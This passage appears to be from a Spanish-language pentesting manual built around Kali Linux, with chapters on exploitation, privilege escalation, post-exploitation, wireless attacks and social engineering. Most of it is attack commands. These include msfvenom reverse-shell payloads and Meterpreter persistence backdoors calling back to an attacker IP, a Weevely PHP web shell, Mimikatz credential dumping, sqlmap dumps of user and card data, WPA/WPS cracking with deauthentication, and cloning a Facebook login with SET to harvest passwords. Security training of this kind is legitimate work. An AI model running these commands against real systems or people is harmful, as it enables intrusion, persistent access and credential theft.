Imagina que después de la enumeración descubriste que el servidor objetivo tiene una vulnerabilidad conocida como EternalBlue (CVE-2017-0144). Este exploit, que afecta a versiones de SMB en Windows, permite ejecutar código remoto.

Usamos el módulo de Metasploit para atacar este sistema vulnerable. Después de configurar el módulo como se muestra arriba, Metasploit intentará explotar la vulnerabilidad y proporcionará una sesión Meterpreter, desde la cual podrás ejecutar comandos en el sistema comprometido, como obtener archivos, listar procesos o incluso escalar privilegios.

BeEF (Browser Exploitation Framework)

BeEF es una herramienta única diseñada para explotar vulnerabilidades en los navegadores web. Permite a los pentesters controlar los navegadores de las víctimas y realizar una amplia gama de ataques, como el robo de cookies, redirección de tráfico, explotación de complementos vulnerables y más.

  • Uso básico: Para iniciar BeEF, primero debes iniciar el servicio y luego acceder a su interfaz web.

    beef-xss

    BeEF proporciona un hook (un fragmento de código JavaScript) que, una vez cargado en el navegador de la víctima, te permitirá controlarlo desde la interfaz web de BeEF.

  • Exploit de ejemplo: Robo de cookies Una vez que la víctima ha cargado el hook en su navegador, puedes usar los módulos de BeEF para robar cookies, lo que puede permitir ataques de secuestro de sesión (session hijacking) si las cookies no están adecuadamente protegidas.

SQLmap

SQLmap es una herramienta de automatización para realizar ataques de inyección SQL, que explota vulnerabilidades en aplicaciones web mal configuradas. Es ideal para atacar bases de datos que usan SQL y puede automatizar la extracción de información, como tablas, usuarios, y contraseñas.

  • Uso básico: Si has identificado una URL vulnerable a SQLi, puedes usar SQLmap para explotarla:

    sqlmap -u "http://example.com/vuln.php?id=1" --dbs

    En este ejemplo, SQLmap verificará si la URL es vulnerable y luego intentará listar las bases de datos disponibles.

  • Extracción de datos: Después de encontrar una vulnerabilidad, puedes extraer tablas y datos con:

    sqlmap -u "http://example.com/vuln.php?id=1" --dump -T users

    Este comando extraerá todos los datos de la tabla users de la base de datos.

Ejemplo práctico: Inyección SQL en una página de inicio de sesión

Supongamos que durante el escaneo de una aplicación web descubrimos que la página de inicio de sesión es vulnerable a inyección SQL. Con SQLmap, podemos explotar esta vulnerabilidad para extraer usuarios y contraseñas de la base de datos, lo que nos dará acceso al sistema.


4.2 Herramientas de Explotación Específicas

Searchsploit

Searchsploit es una herramienta que permite buscar exploits locales desde la base de datos de Exploit-DB (Exploit Database), una base de datos pública de exploits y vulnerabilidades. Esto es útil cuando trabajas sin conexión o quieres buscar un exploit específico para una versión de software vulnerable.

  • Uso básico:
    searchsploit apache 2.4
    Este comando buscará exploits para servidores Apache versión 2.4.

Searchsploit te proporciona una ruta local a los exploits disponibles, que luego puedes ejecutar manualmente en el sistema objetivo si es aplicable.

MSFvenom

MSFvenom es una herramienta de Metasploit que permite crear payloads personalizados que pueden ser utilizados para comprometer un sistema. Con MSFvenom, puedes crear ejecutables, scripts y otros tipos de archivos maliciosos para enviar a la víctima y obtener acceso al sistema.

  • Creación de un payload:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
    Este comando genera un archivo .exe que, cuando se ejecuta en el sistema de la víctima, abrirá una conexión reversa hacia el atacante en 192.168.1.100 y el puerto 4444.

Responder

Responder es una herramienta que se utiliza para interceptar y capturar credenciales en redes locales mediante ataques de envenenamiento de caché (cache poisoning) en protocolos como NBT-NS, LLMNR, y MDNS. Es ideal para ambientes donde los usuarios intentan conectarse a recursos que no existen, lo que provoca que el sistema envíe solicitudes a la red, permitiendo a Responder capturar esas solicitudes y obtener credenciales.

  • Iniciar Responder:
    responder -I eth0
    El comando inicia Responder en la interfaz eth0, donde comenzará a escuchar solicitudes de autenticación en la red.
Ejemplo práctico: Captura de Hashes NTLM

En una red Windows, cuando los usuarios intentan conectarse a un recurso que no existe, su sistema puede enviar solicitudes de autenticación. Responder puede interceptar esas solicitudes y capturar los hashes NTLM de las contraseñas.

Una vez que tienes los hashes, puedes usar herramientas como John the Ripper o Hashcat para intentar descifrarlos y obtener la contraseña en texto plano.


Ejemplos Prácticos de Explotación

Explotación de un servidor web con SQLmap

Imagina que has identificado una vulnerabilidad de inyección SQL en una tienda en línea. Al usar SQLmap, puedes extraer los datos de los usuarios, incluidos nombres, correos electrónicos y contraseñas.

sqlmap -u "http://onlineshop.com/product.php?id=10" --dump

SQLmap extraerá la base de datos completa, que podría contener detalles de usuarios o información financiera, como datos de tarjetas de crédito.

Creación de un payload con MSFvenom

Si tienes acceso limitado a una máquina y quieres mantener el control, puedes usar MSFvenom para generar un archivo malicioso que cuando se ejecute, te permitirá obtener acceso completo a la máquina objetivo.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -f elf > backdoor.elf

Este archivo ejecutable backdoor.elf puede ser transferido a la máquina Linux objetivo. Al ejecutarse, establecerá una conexión reversa hacia tu máquina atacante, dándote control sobre el sistema.

Captura de credenciales en una red interna con Responder

En una red corporativa, podemos usar Responder para capturar credenciales encriptadas de usuarios. Después de que se inicia Responder en la red, interceptamos las solicitudes de autenticación y obtenemos los hashes de contraseñas que luego intentaremos descifrar.


Conclusión del Capítulo

En este capítulo, hemos explorado algunas de las herramientas más poderosas de Kali Linux para la explotación de vulnerabilidades, incluidas plataformas como Metasploit, herramientas de ataques de inyección como SQLmap, y métodos avanzados para capturar credenciales con Responder. La fase de explotación es donde los pentesters aprovechan las debilidades identificadas para obtener acceso al sistema.


Capítulo 5: Elevación de Privilegios

Objetivo

Una vez que se ha comprometido un sistema, el siguiente paso es escalar privilegios. A menudo, el acceso inicial obtenido a través de la explotación es limitado y, para maximizar el control sobre el sistema, es necesario obtener privilegios más altos, como los de administrador o root. Esta fase es crucial, ya que brinda al pentester un control total sobre el sistema comprometido, lo que facilita la extracción de datos críticos, la persistencia y el movimiento lateral dentro de la red.

En Kali Linux, existen diversas herramientas que permiten identificar y explotar vulnerabilidades locales para escalar privilegios en sistemas Linux y Windows. Este capítulo cubrirá las principales técnicas y herramientas utilizadas para este propósito.


5.1 Elevación de Privilegios en Sistemas Linux

En sistemas Linux, la elevación de privilegios implica aprovechar vulnerabilidades en el sistema operativo o en aplicaciones mal configuradas para obtener acceso root.

Linux-Exploit-Suggester

Linux-Exploit-Suggester es una herramienta útil para identificar vulnerabilidades conocidas en el kernel de Linux que pueden ser explotadas para escalar privilegios. La herramienta compara el kernel del sistema comprometido con una lista de vulnerabilidades conocidas y proporciona posibles exploits que se pueden utilizar.

  • Uso básico:
    ./linux-exploit-suggester.sh
    La herramienta escaneará el sistema y devolverá una lista de vulnerabilidades conocidas junto con los exploits sugeridos que podrían ser utilizados.

LinPEAS

LinPEAS es una poderosa herramienta de post-explotación que automatiza el proceso de búsqueda de vulnerabilidades de elevación de privilegios en sistemas Linux. LinPEAS realiza un análisis exhaustivo de configuraciones incorrectas, archivos y procesos que podrían explotarse para obtener acceso elevado.

  • Uso básico: Primero, debes transferir LinPEAS al sistema comprometido y luego ejecutarlo:
    ./linpeas.sh
    Esto generará un informe detallado sobre posibles vectores de escalada de privilegios, como permisos de archivos incorrectos, aplicaciones vulnerables o configuraciones de sudo mal configuradas.
Ejemplo práctico: Escalando privilegios con Sudo mal configurado

Supongamos que después de ejecutar LinPEAS, descubrimos que el comando sudo está mal configurado, permitiendo a un usuario ejecutar nano con privilegios de root sin necesidad de una contraseña. Esto puede ser explotado para obtener acceso root completo.

  • Paso 1: Ejecutar nano como root:

    sudo nano /etc/passwd
  • Paso 2: Modificar el archivo para agregar una nueva entrada de usuario con privilegios de root.

  • Paso 3: Acceder al sistema como root utilizando la nueva cuenta.


5.2 Elevación de Privilegios en Sistemas Windows

En sistemas Windows, la elevación de privilegios generalmente implica el uso de vulnerabilidades en el sistema operativo, aplicaciones instaladas o credenciales mal protegidas. Kali Linux incluye herramientas como WinPEAS y Mimikatz que son muy efectivas en este contexto.

WinPEAS

WinPEAS es la versión de LinPEAS para sistemas Windows. Se utiliza para enumerar información que podría ser útil para escalar privilegios, como permisos incorrectos, servicios vulnerables y configuraciones de Windows mal configuradas.

  • Uso básico: Ejecutas WinPEAS en el sistema comprometido para obtener un informe completo sobre posibles vectores de escalada de privilegios:

    winpeas.exe

    El informe detallará cualquier vulnerabilidad de elevación de privilegios, como archivos con permisos incorrectos, credenciales guardadas, y servicios configurados de manera insegura.

Mimikatz

Mimikatz es una herramienta de explotación avanzada para Windows que permite extraer credenciales almacenadas en la memoria, incluidos hashes de contraseñas y tickets Kerberos. Una de las características más poderosas de Mimikatz es su capacidad para extraer contraseñas en texto plano de la memoria, lo que puede permitir el acceso a cuentas privilegiadas.

  • Extracción de credenciales: Una vez que tienes acceso a un sistema Windows, puedes ejecutar Mimikatz para extraer las credenciales:

    mimikatz.exe

    En la consola de Mimikatz, puedes ejecutar el siguiente comando para obtener credenciales en texto claro:

    sekurlsa::logonpasswords

    Esto te proporcionará una lista de usuarios con sus credenciales en texto claro si están presentes en la memoria.

Ejemplo práctico: Uso de Mimikatz para obtener credenciales de administrador

Supongamos que has obtenido acceso a una máquina Windows, pero con privilegios limitados. Al ejecutar Mimikatz, puedes extraer las credenciales del administrador local que están cargadas en la memoria. Una vez que tienes estas credenciales, puedes iniciar sesión como administrador en el sistema y obtener control total.

  • Paso 1: Ejecutar Mimikatz en la máquina comprometida.
  • Paso 2: Usar el módulo sekurlsa::logonpasswords para listar las credenciales en la memoria.
  • Paso 3: Utilizar las credenciales obtenidas para iniciar sesión como administrador.

5.3 Herramientas Adicionales para Elevación de Privilegios

Privilege Escalation Exploits

Además de herramientas automatizadas como LinPEAS y WinPEAS, existen numerosos exploits específicos para la elevación de privilegios. Estos exploits están diseñados para aprovechar vulnerabilidades conocidas en los sistemas operativos y software. En Kali Linux, puedes usar Searchsploit para buscar exploits locales que pueden usarse para escalar privilegios.

  • Buscar exploits locales con Searchsploit:

    searchsploit local privilege escalation

    Esto listará una serie de exploits que pueden ser usados en sistemas Windows, Linux o Unix para escalar privilegios. Al encontrar una coincidencia con el sistema objetivo, puedes intentar ejecutar el exploit directamente o modificarlo según sea necesario.

Sudo Exploits

En sistemas Linux, sudo mal configurado es una de las causas más comunes de elevación de privilegios. Existen vulnerabilidades conocidas en diferentes versiones de sudo que permiten a los usuarios ejecutar comandos como root sin autenticación.

  • Verificar versiones vulnerables de sudo: Usa LinPEAS o herramientas manuales para verificar la versión de sudo y buscar vulnerabilidades conocidas.
    sudo --version
    searchsploit sudo

GTFObins

GTFObins es un repositorio de binarios que pueden ser utilizados para escalar privilegios o escapar de entornos de restricción en sistemas Linux. Al usar ciertos binarios en entornos mal configurados, es posible obtener privilegios root o ejecutar comandos con permisos elevados.

  • Ejemplo de uso de GTFObins con find: Si tienes acceso a un sistema donde se te permite ejecutar el comando find con privilegios elevados, puedes usarlo para obtener acceso root:

    sudo find . -exec /bin/sh \;

    Esto ejecutará un shell con privilegios de root.


Ejemplos Prácticos de Elevación de Privilegios

Escalando Privilegios en un Sistema Linux con LinPEAS

Después de comprometer un servidor Linux, ejecutas LinPEAS para identificar posibles vulnerabilidades locales. LinPEAS identifica que el archivo /etc/shadow es accesible por el usuario actual, lo que no debería ser posible.

  • Paso 1: Listar el archivo para confirmar que tienes acceso:

    ls -l /etc/shadow
  • Paso 2: Copiar el archivo y usar herramientas como John the Ripper para descifrar los hashes de las contraseñas almacenadas en él:

    john /etc/shadow --wordlist=/usr/share/wordlists/rockyou.txt

Una vez descifrada la contraseña de root, puedes iniciar sesión como root en el sistema.

Escalando Privilegios en Windows con Mimikatz

En una red Windows, has comprometido una estación de trabajo y tienes acceso de usuario estándar. Usas Mimikatz para extraer los hashes NTLM de los usuarios autenticados.

  • Paso 1: Ejecutar Mimikatz y obtener los hashes NTLM:

    mimikatz.exe
    sekurlsa::logonpasswords
  • Paso 2: Usar psexec de Metasploit o herramientas similares para reutilizar esos hashes y obtener acceso a sistemas más privilegiados en la red.


Conclusión del Capítulo

En este capítulo, hemos cubierto las principales técnicas y herramientas para la elevación de privilegios en sistemas Linux y Windows. Herramientas como LinPEAS, WinPEAS, y Mimikatz permiten identificar vulnerabilidades locales y explotar configuraciones incorrectas para obtener control total sobre los sistemas comprometidos.

La elevación de privilegios es un paso crítico en el pentesting, ya que te permite acceder a datos sensibles, establecer persistencia y moverte lateralmente dentro de una red.


la red comprometida. El uso adecuado de las herramientas de elevación de privilegios puede marcar la diferencia entre un acceso limitado y el control total del sistema, lo que te permitirá realizar movimientos avanzados y preparar el terreno para las siguientes fases del pentesting.


Capítulo 6: Post-explotación

Objetivo

La fase de post-explotación comienza una vez que se ha obtenido acceso a un sistema comprometido, generalmente con privilegios elevados. Durante esta etapa, el objetivo principal es maximizar el control sobre el sistema comprometido, recolectar información valiosa, mantener el acceso a largo plazo y, en algunos casos, pivotar hacia otros sistemas en la red. Las herramientas en esta fase permiten la extracción de datos, creación de backdoors, control remoto y acceso continuo.

Este capítulo cubrirá algunas de las herramientas más potentes en Kali Linux para la post-explotación, como Metasploit Meterpreter, Weevely, Empire y otras que permiten realizar operaciones avanzadas en sistemas comprometidos.


6.1 Herramientas de Mantenimiento de Acceso

El mantenimiento de acceso es un paso importante en un pentest exitoso. Después de obtener acceso a un sistema, puede ser útil configurar mecanismos para garantizar que ese acceso se mantenga, incluso si el sistema se reinicia o si se detectan y se mitigan otras vulnerabilidades.

Metasploit Meterpreter

Meterpreter es un payload avanzado del framework Metasploit que se utiliza para la post-explotación. Permite a los pentesters ejecutar comandos directamente en el sistema comprometido, sin generar archivos en el disco, lo que hace que sea difícil de detectar por soluciones antivirus.

  • Uso básico de Meterpreter: Si ya has explotado una vulnerabilidad y obtenido una sesión de Meterpreter, puedes utilizar comandos como:

    sysinfo

    Para obtener información sobre el sistema, o comandos como:

    hashdump

    Para obtener los hashes de contraseñas almacenadas en el sistema.

  • Mantenimiento de acceso: Con Meterpreter, puedes crear un backdoor persistente utilizando el módulo persistence:

    run persistence -U -i 30 -p 4444 -r 192.168.1.100

    Este comando crea un backdoor persistente que intentará conectarse cada 30 segundos al atacante en la dirección 192.168.1.100 y el puerto 4444.

Weevely

Weevely es una herramienta que permite crear backdoors web basados en PHP, lo que te da acceso remoto a servidores web comprometidos. Esto es especialmente útil si tienes acceso a un servidor web y necesitas un control persistente o deseas interactuar con él sin levantar sospechas.

  • Generación de un backdoor con Weevely:

    weevely generate mysecretpass backdoor.php

    Esto generará un archivo PHP malicioso llamado backdoor.php que puedes subir al servidor comprometido.

  • Uso del backdoor: Una vez que el archivo está en el servidor, puedes acceder a él usando:

    weevely http://target.com/backdoor.php mysecretpass

    Esto te proporciona un shell interactivo sobre el servidor, donde puedes ejecutar comandos como en un terminal remoto.

Empire

Empire es un framework de post-explotación muy poderoso que permite realizar ataques en sistemas Windows utilizando PowerShell o Python. Empire es útil para realizar una variedad de acciones de post-explotación, como escalado de privilegios, persistencia, extracción de credenciales y movimientos laterales dentro de la red.

  • Uso básico de Empire: Primero, debes iniciar Empire y usarlo para generar un payload:

    listeners
    uselistener http
    set Host http://192.168.1.100:8080
    execute

    Esto configura un listener HTTP que espera conexiones desde el payload en el puerto 8080.

  • Payload de PowerShell: Genera un payload de PowerShell para ejecutarlo en el sistema comprometido:

    generate
    set Listener http
    execute
  • Persistencia: Una vez que tienes una sesión, puedes usar los módulos de Empire para establecer un backdoor persistente en el sistema, lo que garantiza que incluso si el sistema es reiniciado, mantendrás el acceso.


6.2 Extracción de Información y Pivoting

Además de mantener el acceso, es fundamental extraer datos valiosos del sistema comprometido y, si es necesario, pivotar hacia otros sistemas dentro de la red para continuar el ataque. Kali Linux proporciona herramientas específicas para estas tareas.

Extracción de Información con PowerShell Empire

Empire permite extraer información sensible de sistemas Windows mediante scripts de PowerShell avanzados. Por ejemplo, puedes extraer credenciales, archivos importantes o información de la memoria del sistema.

  • Extracción de credenciales: Empire tiene módulos diseñados para extraer credenciales de la memoria de sistemas comprometidos, similares a Mimikatz. Puedes ejecutar:

    usemodule credentials/mimikatz/gather/credentials
    execute

    Esto te proporcionará una lista de credenciales disponibles en el sistema, que puedes usar para acceder a otros recursos.

Pivoting con SSHuttle

El pivoting te permite utilizar un sistema comprometido como punto de acceso para atacar otros sistemas en la red que, de otro modo, estarían inaccesibles desde tu red externa. SSHuttle es una herramienta que crea un proxy VPN sobre SSH, lo que te permite enrutar el tráfico a través del sistema comprometido hacia otros hosts.

  • Uso de SSHuttle: Para iniciar un túnel de red a través de un sistema comprometido, usas:
    sshuttle -r user@192.168.1.10 192.168.2.0/24
    En este caso, creas un túnel desde el sistema comprometido 192.168.1.10 hacia una red interna 192.168.2.0/24, lo que te permite acceder a los sistemas en esa red como si estuvieras conectado directamente.

Movimientos Laterales con Metasploit

En un entorno de red corporativa, después de comprometer una máquina, podrías necesitar moverte lateralmente a otros sistemas. Metasploit facilita el movimiento lateral mediante técnicas como psexec y pass-the-hash.

  • Uso de psexec: Si has obtenido credenciales válidas de un sistema, puedes usarlas para ejecutar comandos en otros sistemas en la red:

    use exploit/windows/smb/psexec
    set RHOST 192.168.1.20
    set SMBUser Administrator
    set SMBPass password123
    run

    Esto ejecutará un payload en el sistema 192.168.1.20 utilizando las credenciales obtenidas, permitiéndote mover lateralmente dentro de la red.


Ejemplos Prácticos de Post-explotación

Manteniendo el Acceso con Meterpreter

Imagina que has comprometido un servidor y obtenido una sesión de Meterpreter. Para garantizar el acceso persistente, usas el módulo de persistence para crear un backdoor que se ejecuta automáticamente cada vez que el servidor se reinicia:

run persistence -U -i 60 -p 4444 -r 192.168.1.100

Ahora, cada vez que el servidor se reinicie, intentará conectarse a tu máquina atacante en el puerto 4444, garantizando que puedes mantener el acceso sin necesidad de explotar nuevamente el sistema.

Pivoting en una Red Corporativa con SSHuttle

Supongamos que has comprometido una máquina en la red interna de una empresa, y ahora quieres explorar otros sistemas dentro de la red. Utilizas SSHuttle para crear un túnel desde la máquina comprometida hacia una red secundaria.

sshuttle -r root@192.168.1.10 192.168.2.0/24

Con esto, puedes acceder a cualquier sistema en la red 192.168.2.0/24 como si estuvieras conectado localmente, lo que te permite realizar escaneos o lanzar exploits contra otros objetivos.


Conclusión del Capítulo

La fase de post-explotación es crítica para garantizar el éxito a largo plazo de una prueba de penetración. Herramientas como Meterpreter, Empire, y Weevely permiten a los pentesters mantener el acceso a los sistemas comprometidos y realizar tareas avanzadas, como la extracción de información sensible y el pivoting dentro de redes internas.

El mantenimiento de acceso es esencial no solo para garantizar la persistencia, sino también para profundizar en la red y realizar movimientos laterales que podrían llevar a comprometer objetivos más críticos dentro de la infraestructura.


Capítulo 7: Ataques de Redes Inalámbricas

Objetivo

Los ataques a redes inalámbricas representan una parte fundamental de las pruebas de penetración, ya que muchas organizaciones dependen de redes Wi-Fi para sus comunicaciones internas. Las redes inalámbricas, si no están adecuadamente protegidas, pueden ser vulnerables a ataques que comprometan su seguridad y permitan el acceso no autorizado a la red interna. Kali Linux incluye un conjunto robusto de herramientas diseñadas específicamente para analizar, atacar y comprometer redes inalámbricas.

En este capítulo, aprenderemos a utilizar las herramientas clave de Kali Linux para realizar ataques a redes Wi-Fi, incluidos ataques de desautenticación, crackeo de contraseñas WPA/WPA2 y ataques WPS, así como técnicas de análisis de protocolos de comunicación inalámbrica no tradicionales, como Bluetooth.


7.1 Ataques Contra Redes Wi-Fi

Las redes Wi-Fi utilizan diferentes protocolos de seguridad, como WEP, WPA y WPA2, que son vulnerables a diversos tipos de ataques. En la actualidad, la mayoría de las redes usan WPA2, que es más seguro que sus predecesores, pero que aún puede ser vulnerado bajo ciertas condiciones. Herramientas como Aircrack-ng, Fern Wi-Fi Cracker y Reaver permiten realizar ataques eficientes contra redes Wi-Fi.

Aircrack-ng

Aircrack-ng es el conjunto de herramientas más popular y completo para realizar ataques contra redes Wi-Fi. Incluye herramientas para capturar tráfico, desautenticar clientes y crackear contraseñas Wi-Fi. El proceso típico para atacar una red Wi-Fi con Aircrack-ng consiste en capturar tráfico y luego intentar descifrar la contraseña a partir de los paquetes capturados.

Pasos para atacar una red Wi-Fi con Aircrack-ng:
  1. Habilitar el modo monitor: Antes de comenzar a capturar tráfico, debemos poner la tarjeta de red inalámbrica en modo monitor:

    airmon-ng start wlan0
  2. Capturar paquetes: Utilizamos airodump-ng para capturar tráfico en el canal donde opera la red objetivo:

    airodump-ng wlan0mon

    Identificamos la red objetivo (basada en su BSSID y canal) y luego concentramos la captura de tráfico en ese canal:

    airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w captura wlan0mon

    Este comando captura el tráfico de la red con el BSSID 00:11:22:33:44:55 en el canal 6 y lo guarda en un archivo llamado captura.

  3. Desautenticación de clientes: Para acelerar el proceso de captura de handshakes (intercambio de claves WPA), ejecutamos un ataque de desautenticación para forzar a los clientes a reconectarse a la red:

    aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon
  4. Crackeo de la contraseña: Una vez capturado el handshake, usamos aircrack-ng para intentar descifrar la contraseña utilizando un archivo de diccionario:

    aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 00:11:22:33:44:55 captura.cap

    Si la contraseña está en el diccionario utilizado, Aircrack-ng la descifrará y proporcionará el acceso a la red.

Fern Wi-Fi Cracker

Fern Wi-Fi Cracker es una herramienta con interfaz gráfica (GUI) que facilita el proceso de auditoría de redes Wi-Fi. Es ideal para usuarios que prefieren una experiencia más visual y menos dependiente de la línea de comandos.

  • Uso básico: Inicias Fern Wi-Fi Cracker desde el menú de Kali y seleccionas la tarjeta de red. A continuación, buscas redes disponibles y seleccionas la red objetivo. Desde la interfaz, puedes realizar ataques de desautenticación y crackeo de contraseñas utilizando diccionarios.

    Fern Wi-Fi Cracker automatiza muchas de las tareas que con Aircrack-ng se realizan manualmente, lo que la hace una opción atractiva para pentesters que quieren ahorrar tiempo.

Reaver

Reaver es una herramienta diseñada para realizar ataques contra redes que usan WPS (Wi-Fi Protected Setup), un protocolo diseñado para simplificar la configuración de dispositivos inalámbricos en redes seguras. Sin embargo, el protocolo WPS tiene fallos conocidos que permiten a atacantes crackear contraseñas WPA/WPA2 sin necesidad de capturar handshakes.

  • Uso básico: Para iniciar un ataque con Reaver, primero identificas el BSSID de la red objetivo que tiene WPS habilitado:

    wash -i wlan0mon

    Luego, lanzas el ataque con Reaver:

    reaver -i wlan0mon -b 00:11:22:33:44:55 -vv

    Reaver intentará descifrar el PIN de WPS, lo que permitirá obtener la contraseña WPA/WPA2 de la red.

Ejemplo práctico: Crackeando una red WPA2 con WPS habilitado

Supongamos que durante un pentest descubrimos que una red Wi-Fi utiliza WPA2 con WPS habilitado. Usamos Reaver para realizar un ataque de fuerza bruta sobre el PIN WPS. Después de ejecutar Reaver, obtenemos el PIN correcto y la contraseña WPA2 del router.

reaver -i wlan0mon -b 00:11:22:33:44:55 -vv

En este caso, Reaver completa el ataque y descifra la contraseña en cuestión de horas o incluso minutos, dependiendo de la fortaleza del PIN.


7.2 Análisis de Redes Bluetooth y Otros Protocolos Inalámbricos

Además de las redes Wi-Fi, otros protocolos inalámbricos como Bluetooth también pueden ser objetivos en un pentest. Los dispositivos Bluetooth a menudo transmiten datos sensibles o permiten la interacción con otros dispositivos, lo que los convierte en blancos atractivos para ataques.

Bluesniff

Bluesniff es una herramienta que permite buscar dispositivos Bluetooth cercanos y evaluar sus vulnerabilidades. El objetivo es interceptar y analizar el tráfico Bluetooth para detectar posibles fallos de seguridad.

  • Uso básico: Para buscar dispositivos Bluetooth cercanos, ejecutamos:

    bluesniff -i hci0

    Esto mostrará una lista de dispositivos Bluetooth cercanos junto con información básica sobre su configuración y posibles vulnerabilidades.

Wireshark

Wireshark es la herramienta más popular para capturar y analizar tráfico de red. Aunque se usa principalmente para redes cableadas e inalámbricas estándar, Wireshark también puede capturar y analizar tráfico Bluetooth.

  • Captura de tráfico Bluetooth con Wireshark:
    wireshark
    En Wireshark, seleccionas la interfaz hci0 para capturar el tráfico Bluetooth. Puedes filtrar el tráfico según el tipo de protocolo para analizar comunicaciones específicas entre dispositivos.
Ejemplo práctico: Interceptación de comunicaciones Bluetooth

Durante un pentest, puedes usar Wireshark para capturar y analizar el tráfico Bluetooth entre dispositivos. Esto puede revelar información sensible, como datos de autenticación o comandos enviados entre dispositivos, que podrían ser explotados para comprometer la seguridad de los dispositivos conectados.

Wireshark para Redes Wi-Fi

Además de analizar redes Bluetooth, Wireshark también es ampliamente utilizado para analizar redes Wi-Fi. Es una excelente herramienta para inspeccionar los detalles de los paquetes capturados, como handshakes, solicitudes de autenticación, y otros paquetes importantes.

  • Uso básico: Una vez capturados los paquetes con airodump-ng o directamente con Wireshark, puedes abrir el archivo de captura en Wireshark y analizar el tráfico en detalle.

  • Filtrado de tráfico Wi-Fi: Puedes usar filtros para ver solo el tráfico relevante:

    wlan.fc.type_subtype == 0x04

    Este filtro muestra solo los paquetes de desautenticación, que son clave en muchos ataques a redes Wi-Fi.


Ejemplos Prácticos de Ataques a Redes Inalámbricas

Captura y Descifrado de Contraseñas WPA2 con Aircrack-ng

Imagina que has identificado una red Wi-Fi que usa WPA2. Para crackear la contraseña, primero capturas el handshake utilizando Aircrack-ng y luego ejecutas un ataque de fuerza bruta basado en diccionarios.

  1. Capturas el tráfico y fuerzas la desautenticación de un cliente:

    airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w captura wlan0mon
    aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon
  2. Una vez capturado el handshake, usas Aircrack-ng para descifrar la contraseña:

    aircrack
    

-ng -w /usr/share/wordlists/rockyou.txt -b 00:11:22:33:44:55 captura.cap


#### **Crackeo de una Red WPS con Reaver**

Durante un pentest, encuentras una red con WPS habilitado. Utilizas **Reaver** para descifrar la contraseña WPA2 sin necesidad de capturar handshakes.

```bash
reaver -i wlan0mon -b 00:11:22:33:44:55 -vv

En pocas horas, Reaver ha descifrado el PIN WPS y proporciona la contraseña WPA2, permitiéndote acceder a la red inalámbrica.


Conclusión del Capítulo

En este capítulo, hemos cubierto las principales herramientas de Kali Linux para atacar redes inalámbricas, centrándonos en redes Wi-Fi con Aircrack-ng, Fern Wi-Fi Cracker, y Reaver. También hemos explorado cómo comprometer dispositivos Bluetooth y capturar tráfico con herramientas como Bluesniff y Wireshark. Los ataques a redes inalámbricas son una parte clave de cualquier pentest, y las herramientas mencionadas son esenciales para identificar y explotar vulnerabilidades en redes Wi-Fi y otros dispositivos inalámbricos.


Capítulo 8: Ingeniería Social

Objetivo

La ingeniería social es una técnica utilizada en pruebas de penetración para manipular a las personas con el fin de obtener información confidencial o acceso a sistemas. A menudo, los seres humanos son el eslabón más débil en la seguridad, y un ataque exitoso de ingeniería social puede permitir el acceso a datos críticos o comprometer toda la red sin necesidad de explotar vulnerabilidades técnicas.

Kali Linux incluye varias herramientas diseñadas para realizar ataques de ingeniería social, desde la creación de ataques de phishing hasta la suplantación de sitios web. En este capítulo, exploraremos las herramientas más utilizadas para realizar ataques basados en la ingeniería social, como el Social-Engineer Toolkit (SET), Ghost Phisher y Evilginx.


8.1 Frameworks de Ingeniería Social

SET (Social-Engineer Toolkit)

El Social-Engineer Toolkit (SET) es una herramienta poderosa diseñada específicamente para realizar ataques de ingeniería social. Incluye módulos para realizar ataques de phishing, generar correos electrónicos falsos, clonar sitios web y muchas otras tácticas dirigidas a engañar a las víctimas para que revelen información o descarguen malware.

Uso de SET para clonar sitios web y realizar phishing:
  1. Iniciar SET:

    setoolkit
  2. Seleccionar el tipo de ataque: En el menú principal de SET, seleccionamos la opción para realizar ataques basados en sitios web:

    1) Social-Engineering Attacks
    2) Website Attack Vectors
    3) Credential Harvester Attack Method
    
  3. Clonar un sitio web: SET te permite clonar un sitio web legítimo (por ejemplo, una página de inicio de sesión de Facebook o Gmail) y alojarlo en un servidor controlado por el atacante. Cuando la víctima ingresa sus credenciales en el sitio clonado, estas son capturadas por SET.

    set:webattack> clone_site
    set:webattack> http://facebook.com
  4. Captura de credenciales: Una vez que la víctima accede al sitio clonado y proporciona su nombre de usuario y contraseña, SET capturará esas credenciales y las mostrará en la consola.

Ejemplo práctico: Phishing con una página de inicio de sesión clonada

Imagina que durante un pentest decides realizar un ataque de phishing a través de un sitio clonado. Utilizas SET para crear una copia de la página de inicio de sesión de Facebook. Envías un enlace malicioso a la víctima, quien ingresa sus credenciales en el sitio clonado. SET registra esas credenciales, proporcionándote acceso no autorizado a la cuenta de la víctima.

Ghost Phisher

Ghost Phisher es otra herramienta con una interfaz gráfica que facilita la creación de ataques de phishing y la suplantación de redes inalámbricas. Puedes usar Ghost Phisher para crear puntos de acceso Wi-Fi falsos y engañar a las víctimas para que se conecten a ellos, permitiéndote interceptar tráfico y recopilar credenciales.

  • Uso básico de Ghost Phisher:
    1. Inicia Ghost Phisher desde el menú de Kali.
    2. Configura un punto de acceso Wi-Fi falso y una página de inicio de sesión de phishing.
    3. Espera a que las víctimas se conecten al punto de acceso y capturen sus credenciales.
Ejemplo práctico: Creación de un punto de acceso Wi-Fi falso

En un pentest, utilizas Ghost Phisher para crear un punto de acceso Wi-Fi falso llamado “Free_Public_WiFi”. Las víctimas se conectan al punto de acceso, y al intentar acceder a cualquier sitio web, son redirigidas a una página de inicio de sesión falsa donde se les solicita ingresar sus credenciales.

Evilginx

Evilginx es una herramienta avanzada que permite realizar ataques man-in-the-middle (MITM) para capturar credenciales de autenticación de dos factores (2FA). Utilizando Evilginx, puedes crear sitios falsos que no solo capturan las credenciales de la víctima, sino también los tokens de autenticación, permitiéndote eludir la autenticación multifactor (MFA).

  • Uso básico de Evilginx:
    1. Configura Evilginx para clonar un sitio web legítimo con autenticación 2FA, como Google o Microsoft.
    2. Redirige a la víctima al sitio falso.
    3. Captura tanto las credenciales como los tokens de autenticación 2FA.
Ejemplo práctico: Robo de tokens de autenticación 2FA

